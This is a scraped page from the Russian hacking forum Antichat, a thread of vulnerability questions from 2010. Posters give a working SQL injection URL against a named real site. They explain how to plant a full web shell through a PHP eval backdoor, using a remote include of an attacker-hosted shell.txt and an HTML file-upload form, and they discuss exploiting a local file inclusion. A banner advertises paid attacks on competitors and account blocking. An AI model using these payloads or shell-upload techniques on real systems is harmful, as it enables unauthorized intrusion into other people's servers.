Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1168 из 2438

1168

Опции темы

Поиск в этой теме

Опции просмотра

#11671

21.02.2010, 16:36

Jokester

Познавший АНТИЧАТ

Регистрация: 18.02.2008

Сообщений: 1,136

С нами: 9593606

Репутация: 4915

http://fitnesslife.com.ua/index.php?id=7647&show=4nalbum&do=showgall&gid=130 78+union+select+1,2,3,4,@@version,6,7,8,9--+

Скобки не используй и крути

#11672

21.02.2010, 18:37

daniel_1024

Участник форума

Регистрация: 15.07.2009

Сообщений: 158

С нами: 8854580

Репутация: 34

скажите как залить полноценный шелл на сервер имея на нем пхп с этим кодом:

PHP код:


		
			
<?php eval($_GET); ?>

какой запрос надо составить?

#11673

21.02.2010, 18:44

wildshaman

Постоянный

Регистрация: 16.04.2008

Сообщений: 889

С нами: 9510146

Репутация: 1550

Заливаешь свой шелл в формате .txt куда угодно, затем выполняешь
script.php?cmd=include("http://yoursite.com/shell.txt");
Затем через шелл льешь его в нужную папку на целевой сайт.

#11674

21.02.2010, 18:45

SeNaP

Участник форума

Регистрация: 07.08.2008

Сообщений: 281

С нами: 9347610

Репутация: 165

Цитата:

Сообщение от daniel_1024

скажите как залить полноценный шелл на сервер имея на нем пхп с этим кодом:

PHP код:


		
			
<?php eval($_GET); ?>

какой запрос надо составить?

Создаешь у себя на компе файл lypapam.html

PHP код:


		
			
 <form enctype=multipart/form-data method=post action="http://lala/shell.php?cmd=$f=$_FILES[x];copy($f[tmp_name],$f[name]);"><input type=file name=x><input type=submit></form>

ссылку до переменной http://lala/shell.php?cmd= - редактируешь под себя
открываешь браузером lypapam.html, прикрепляешь шелл и клик на "отправить")
шелл с таким же именем появится в папке с shell.php

#11675

22.02.2010, 03:30

B1t.exe

Постоянный

Регистрация: 06.11.2006

Сообщений: 865

С нами: 10268804

Репутация: 208

ребят, подскажите пожалуйста..
тут копался и в одном сайте при переходе с одного страницы на другую - выдал ошибку:

Код:

Warning: include(../news.php) [function.include]: failed to open stream: No such file or directory in C:\Plesk\VHOSTS\site.com\httpdocs\biography\index.php on line 107

как я понял - раскрытье путей..
как можно "эксплуатировать" эту ошибку ?

#11676

22.02.2010, 03:43

Bb0y

Участник форума

Регистрация: 30.10.2009

Сообщений: 103

С нами: 8700497

Репутация: 388

Отправить сообщение для Bb0y с помощью Yahoo

Линк плз в студию.
Либо инклюд, либо раскрытие из-за отсутствия инклюдируемого файла

#11677

22.02.2010, 04:18

B1t.exe

Постоянный

Регистрация: 06.11.2006

Сообщений: 865

С нами: 10268804

Репутация: 208

Цитата:

Сообщение от Bb0y

Линк плз в студию.
Либо инклюд, либо раскрытие из-за отсутствия инклюдируемого файла

линк могу в личку кинуть, но хочется сам что то делать и понять.. сколько буду тут своими вопросами надоедать )))

#11678

22.02.2010, 04:23

shell_c0de

Reservists Of Antichat - Level 6

Регистрация: 07.07.2009

Сообщений: 324

С нами: 8866466

Репутация: 564

Отправить сообщение для shell_c0de с помощью AIM

можно реализовать include ...

#11679

22.02.2010, 13:58

B1t.exe

Постоянный

Регистрация: 06.11.2006

Сообщений: 865

С нами: 10268804

Репутация: 208

shell_c0de
Strilo4ka

эта ошибка как бы в нижнем части появлается, в колонке вроде новостей.. мне кажется недоделанный скрипт. Вот даже когда захожу в титульную страницу - опять там эта ошибка

вот так выглядет общий вид:

Код:

Warning: include(news.php) [function.include]: failed to open stream: No such file or directory in C:\Plesk\VHOSTS\site.com\httpdocs\index.php on line 107

Warning: include() [function.include]: Failed opening 'news.php' for inclusion (include_path='.;./includes;./pear') in C:\Plesk\VHOSTS\site.com\httpdocs\index.php on line 107

И как составить LFI ?

#11680

22.02.2010, 14:36

Root-access

Участник форума

Регистрация: 18.06.2008

Сообщений: 222

С нами: 9419426

Репутация: 648

Что за бред? Если в качестве пользовательских параметров не передаются данные, используемые для инклуда, это не уязвимость, а лишь раскрытие путей.

Страница 1168 из 2438

1168

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход